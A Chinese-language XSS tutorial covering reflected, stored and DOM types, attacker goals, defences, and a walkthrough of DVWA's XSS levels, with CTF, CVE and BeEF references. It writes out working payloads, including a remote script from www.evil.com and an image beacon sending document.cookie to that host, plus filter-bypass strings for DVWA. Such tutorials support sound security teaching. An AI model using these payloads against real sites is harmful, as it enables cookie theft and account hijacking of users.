1. 什么是XSS?
XSS又叫CSS(Cross Site Script),即跨站脚本攻击,为了和层叠样式(Cascading Style Sheet,CSS)有所区别则叫XSS。XSS攻击在网页中嵌入客户端恶意脚本代码(一般由JS编写),可以实现获取用户Cookie、改变网页内容、URL跳转等。例如在填写参数时,将内容写为<script>alert('XSS')</script>
当脚本在如下位置时,输出数据在属性内不会被执行
<input type="text" name="content" value="<script>alert(1)</script>" />
所以需要对Value标签进行闭合,使输出内容不在value属性中,得以显示
<input type="text" name="content" value=""/ ><script>alert(1)</script>" />
2. XSS的类型
(1)反射型
反射型XSS构造可以通过js代码给用户A发消息并盗取用户A的cookie,发送到指定的站点,然后可以通过利用Cookie以A的身份登录。
(2)存储型XSS
如果将带有XSS代码放入到留言板等场景中,会随留言一起存储到数据库中,具有较高的隐蔽性
(3)DOM Based XSS
DOM全称为Document Object Model,即文档对象模型,通常用于代表在HTML、XHTML和XML中的对象。
DOM型XSS主要通过修改页面的DOM节点,如下所示,
<script>
funcation test(){
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML="<a href='"+str+"'>testLink</a>";
}
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
</script>
点击write按钮后,onclick调用test函数,会显示出超链接,链接地址就是用户在输入框中输入的内容。如果构造
' onclick=alert(/xss/) //
输入后,页面的链接处的代码如下,用单引号闭合并且用双斜线注释掉第二个单引号。
<a href=' ' onclick=alert(/xss/) //'>
点击上面这个新生成的链接,脚本就会被执行。
除了构造新的事件,也可以插入一个新的HTML标签,如下
'><img src=# onerror=alert(/xss2/) /><'
页面代码变为
<a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>
能触发DOM Based XSS的地方很多,比如
document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()。还有一些可能成为DOM Based XSS的输入点:页面中所有的Inputs框、window.location(href、hash等)、window.name、document.referer、document.cookie、localstorage、XMLHttpRequest返回的数据。
3.XSS的作用
盗取用户cookie、修改网页内容、网站挂马、利用网站重定向、XSS蠕虫。
(1)盗取用户cookie
因为HTTP协议是无状态的,web服务器无法区分请求是否来源于同一个浏览器,所以需要cookie来标识用户并维护会话。可以分为内存cookie和硬盘cookie。内存cookie由浏览器维护,关闭时自动消失。硬盘cookie只有到设定的过期时间才会消失。例如IE的cookie保存位置在C:\Documents and Settings\用户名\Cookie文件夹中,是一个以用户名@URL命名的txt。
cookie由变量名(key)和值(Value)组成,其格式如下:
Set-Cookie:<name>=<value>[;<Max-Age>=<age>][;expires=<date>][;domain=<domain_name>[; path=<some_path>][; secure][;HttpOnly]
其中HttpOnly可以禁止js读取cookie(对预防xss不起作用,但可以防止劫持)
XSS的payload实际上就是js脚本(也可以是flash或其他客户端脚本),一般攻击者先加载远程脚本
<script src=http://www.evil.com/evil.js></script>
payload放入evil.js中,该基本在页面中插入看不见的图片,把cookie作为参数发送到远程服务器。即使cookie前的链接地址不存在,也会在远程服务器的web日志下留下记录。
<var img=document.createElement("img")>;
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
(2)修改网页内容
除了cookie劫持,攻击者可以通过模拟GET、POST请求操作用户的浏览器,这在某些隔离环境中会非常有用,如劫持失效时或不能访问互联网时。
(3)钓鱼
利用js在页面上伪造一个登录框,若用户在登录框内输入了用户名和密码,就会被发送至攻击者的服务器。
(4)识别用户浏览器(挂马攻击)
可以通过Js来判断浏览器版本,如UserAgent对象,用navigator.userAgent。还可以通过判断ActiveX控件的classid来判断其是否被安装,可以根据用户安装的软件,选择对应的漏洞进行植入木马,即“挂马攻击”。通过收集常见的classid,可以扫描用户安装的软件列表甚至版本。一些第三方插件也可以泄露一些信息,如Flash的system.capabilities对象可以查询客户端电脑中的硬件信息。还可以通过对扩展进行检测。如果客户端安装了java环境(JRE)等,那么还可以通过调用java Applet来获取客户端的本机IP地址。还有一种是通过CSS,来发现用户曾经访问的网站,其原理是sytle的visited属性,如果用户曾经访问过某个链接,那么链接颜色不同,由此可以识别用户访问的网站。不过这个问题在2010年被修补。
(5)蠕虫
在用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起蠕虫攻击。
4. XSS构造技巧
字符编码、绕过长度限制、使用<base>标签(定义页面上所有相对路径的host地址),window.name(window对象是浏览器窗体,很多时候不受同源策略的限制,利用这个对象可以实现跨域、跨页面传递数据)
5. XSS防御
(1)输入输出检查
对输入内容进行过滤,比如电话号码应为13或15开头。也要对富文本进行处理。网站允许用户提交一些自定义的html代码,称为富文本。比如用户在论坛里发帖,帖子内容要有图片、视频、表格等,这些富文本的效果都需要通过html代码来实现。尽量选用白名单而不是黑名单。
(2)安全编码
用PHP中的htmlspecialchars()、htmlentities()把预定义的字符转换为html实体
& ->&
" ->"
' ->'
< -><
> ->>
注意HtmlEncode编码!
XSS练习平台:
在线平台:
http://xss-quiz.int21h.jp/
https://xss-game.appspot.com/
https://xss.haozi.me/#/0x00
自搭环境:
OWASP XSS
DVWA XSS
DVWA XSS详解
(1)reflected
查看四种难度模式的源代码:
//low
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
//medium
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
$html .= "<pre>Hello ${name}</pre>";
//high
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
$html .= "<pre>Hello ${name}</pre>";
//impossible
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$name = htmlspecialchars( $_GET[ 'name' ] );
$html .= "<pre>Hello ${name}</pre>";
generateSessionToken();
由上述源代码可以分析,Low模式下没有任何过滤,可以直接输入<script>alert()</script>弹出。medium模式下过滤了<script>标签,但是可以通过大写<Script>绕过或者<scr<script>ipt进行重写绕过,或者输入其他标签<IMG src=1 onerror=alert(document.cookie)>。在high模式下,通过preg_replace函数把<script>标签替换掉,(.*)表示贪婪匹配,/i表示不区分大小写,此模式除了用上述img标签逃过,还可以通过location.hash绕过正则。
例如:www.aaa.com/index#HC_DU的location.hash就是#HC_DU,在#号后可以添加代码
<img src=x onerror="eval(unescape(location.hash.substr(1)))">
在Impossible模式下,添加了anti-token防御机制,并用htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
(2)Stored
//low
$message = stripslashes( $message );
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
//medium
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );
//high
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
//imposiible
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
$name = stripslashes( $name );
$name = htmlspecialchars( $name );
由上述各模式下的关键代码可知,low模式下,直接在Message中输入脚本即可。在Medium模式下,对message的处理,使用了strip_tags函数,会剥去字符串中的 HTML 标签,addslashes则在每个双引号(")前添加反斜杠,而name的处理只是替换<script>标签,就可以像reflect中一样绕过。只不过name输入框限制其Maxlength为10,在开发者模式下将其更改为合适长度即可。high模式下,name的过滤发生了一点变化,可以参考reflect中的绕过,如用<img>标签等
(3)DOM
//medium
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
//high
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
low模式没有做任何限制,medium模式对<script进行了过滤,会重定向回default=English。想到要用<img>绕过,但用Img时需要先闭合前面的select标签,即输入为</select><img%20src=1%20onerror=alert(1)>才能弹窗。放在low模式下用Img标签也是一样。high模式用白名单进行了过滤,绕过原理是URL中#号之后的内容,不会被提交到服务器,可以直接与浏览器进行交互
具体cookie盗取可参考:
https://www.freebuf.com/articles/web/157953.html
CTF相关赛题
TCTF/0CTF2018
https://paper.seebug.org/574/
RealWorld CTF2019
https://www.anquanke.com/post/id/186707
DDCTF 2017
https://blog.neargle.com/2017/09/01/ddctf-web-xss-sqli-writeup/
Google CTF 2017
https://www.jianshu.com/p/f1536020e90c
http://joe.web.ctfcompetition.com/
MidnightsunCTF 2019
https://www.sherlocklee.top/2019/04/09/MidnightsunCTF/
现在CTF XSS方向主要借助xss-bot
相关CVE
(1)CVE-2019-16219: WordPress (Core)存储型XSS漏洞
https://xz.aliyun.com/t/6395
(2)CVE-2017-12794
https://www.leavesongs.com/PENETRATION/django-debug-page-xss.html
https://blog.csdn.net/jiangbuliu/article/details/94433376
(3)CVE-2017-12984 PHPMyWind存储XSS漏洞
https://xinkjung.github.io/2018/07/01/PHPMyWind%E5%AD%98%E5%82%A8XSS%E6%BC%8F%E6%B4%9E-CVE-2017-12984-%E5%A4%8D%E7%8E%B0/
(4)CVE-2016-7103、CVE-2015-9251、CVE-2014-6071、CVE-2012-6708、CVE-2011-4969 Jquery DOM based XSS漏洞
https://cloud.tencent.com/developer/article/1516331
相关框架—BeEF
在kali应用程序的系统服务中,找到beef start开启
开启后,连接http://127.0.0.1:3000/ui/panel,用账号密码beef/beef进行登录。
相关操作可参考:
https://www.fujieace.com/kali-linux/courses/beef-xss-framework.html
参考文章:
《白帽子讲Web安全》
《Web安全深度剖析》